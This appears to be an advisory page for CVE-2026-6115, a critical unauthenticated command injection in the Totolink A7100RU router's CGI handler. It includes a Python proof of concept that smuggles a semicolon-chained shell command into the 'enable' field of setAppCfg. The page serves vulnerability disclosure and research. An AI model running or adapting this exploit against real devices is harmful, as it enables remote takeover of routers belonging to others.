Security Vulnerability Report
中文
CVE-2026-6115 CVSS 9.8 CRITICAL

CVE-2026-6115

Published: 2026-04-12 05:16:01
Last Modified: 2026-04-27 19:05:57

Description

A flaw has been found in Totolink A7100RU 7.4cu.2313_b20191024. This affects the function setAppCfg of the file /cgi-bin/cstecgi.cgi of the component CGI Handler. Executing a manipulation of the argument enable can lead to os command injection. The attack may be launched remotely. The exploit has been published and may be used.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Totolink A7100RU 7.4cu.2313_b20191024

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL url = "http://<TARGET_IP>/cgi-bin/cstecgi.cgi" # Headers headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } # Vulnerable Payload: Injecting a command to ping a controlled server (change the IP) # The payload manipulates the 'enable' argument in the 'setAppCfg' function. # Using semicolon to chain commands. payload_data = { "topicurl": "setAppCfg", "enable": "; ping 192.168.1.100;" } try: # Sending the malicious request response = requests.post(url, data=payload_data, headers=headers, timeout=5) if response.status_code == 200: print("[+] Payload sent successfully!") print(f"[+] Response: {response.text}") else: print(f"[-] Failed to send payload. Status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
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